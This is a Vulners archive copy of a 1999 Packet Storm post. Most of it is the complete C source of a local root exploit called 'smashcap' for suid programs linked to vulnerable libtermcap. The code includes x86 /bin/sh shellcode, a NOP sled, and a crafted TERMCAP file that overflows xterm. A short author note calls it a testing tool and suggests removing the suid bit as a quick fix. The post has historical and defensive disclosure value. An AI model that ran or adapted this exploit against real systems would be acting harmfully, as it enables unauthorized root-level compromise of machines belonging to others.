Lucene search
K

libtermcap_exploit.txt

🗓️ 22 Sep 1999 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

Local exploit found in libtermcap, upgrade recommended for security. Test your systems now.

Code
`Subject: local libtermcap exploit  
To: [email protected]   
  
  
  
Well, I wrote this a little while back. This is a serious bug,  
so people should be able to test their systems properly. All admins  
should definitely upgrade to the newest libtermcap.  
  
  
- sk8 of LS  
  
  
  
  
/* Local exploit for suid root programs linked to libtermcap < 2.0.8-15   
*  
* tested with xterm and nxterm on RedHat 5.2 and 4.2  
*  
* [email protected]  
* http://www.lucid-solutions.com  
*  
* Usage:  
* ./smashcap -default is buffer size of 4210 and offset of 300  
* and seems to work on RH 5.2  
*  
* Adjust offsets (somewhere between 230 - 1140) if necessary  
*  
* ./smashcap <offset> -buffer size defaults to 4210  
* ./smashcap <offset> <buffersize>  
*  
*  
* In order to stop script kids/opportunists, one MINOR change must be  
* made in order for this to work.   
*  
* Use only to test your machines to show you that you must patch libtermcap.  
* Quick fix, chmod u-s ALL suid root programs linked with libtermcap.  
*  
* - sk8 of LS  
*  
*/  
  
  
#include <stdlib.h>  
#include <unistd.h>  
#include <fcntl.h>  
  
  
#define filename "/tmp/lstermcap"  
#define entry1 "xterm|"  
#define DEFAULT_BUFSIZE 4210  
  
  
char shellcode[] =  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
"\x80\xe8\xdc\xff\xff\xff\xff/bin/sh"; /* Linux shellcode */  
  
  
long get_sp(void)  
{  
__asm__("movl %esp, %eax\n");  
}  
  
  
int main(int argc, char *argv[]) {  
int bufsize, offset, i, fd;  
long *bufptr;  
char *ptr, *buffer, *tempbuf;  
  
  
setenv("TERMCAP", "/tmp/lstermcap", 1);  
  
  
  
bufsize=DEFAULT_BUFSIZE;  
  
  
if (argc > 2) bufsize=atoi(argv[2]);  
if (argc > 1) offset=atoi(argv[1]);  
else offset=300;  
  
  
  
printf("bufsize: %i\noffset: %i\n", bufsize,offset);  
  
  
if(!(buffer = malloc(bufsize))) {  
printf("can't allocate enough memory\n");  
exit(0);  
}  
if(!(tempbuf = malloc(bufsize+strlen(entry1) ))) {  
printf("can't allocate enough memory\n");  
exit(0);  
}  
  
  
printf("get_sp(): 0x%x\n", get_sp());  
printf("get_sp()-offs: 0x%x\n", (get_sp()-offset) );  
  
  
ptr=buffer;  
bufptr = (long *)(buffer+2); /* align */  
  
  
for (i = 0; i < bufsize; i += 4)  
*(bufptr++) = (get_sp()-offset);  
  
  
for (i = 0; i < (bufsize/2); i++)   
buffer[i] = 0x90;  
  
  
ptr=buffer + ((bufsize/2) - strlen(shellcode)/2);  
for (i = 0; i < strlen(shellcode); i++)  
*(ptr++) = shellcode[i]; //shellcode  
  
  
  
ptr=ptr+24;  
  
  
/* now insert the characters : and \ into the termcap - these are vital */  
*(ptr++)=0x3a;   
*(ptr++)=0x5c;   
  
  
  
snprintf(tempbuf, (bufsize+strlen(entry1)), "%s%s%s", entry1, buffer);  
fd = open(filename, O_WRONLY|O_CREAT|O_TRUNC, 0666);  
write (fd, tempbuf, strlen(tempbuf));  
close(fd);  
printf("made termcap\n");  
  
  
execl("/usr/X11R6/bin/xterm","xterm", 0);  
  
}   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation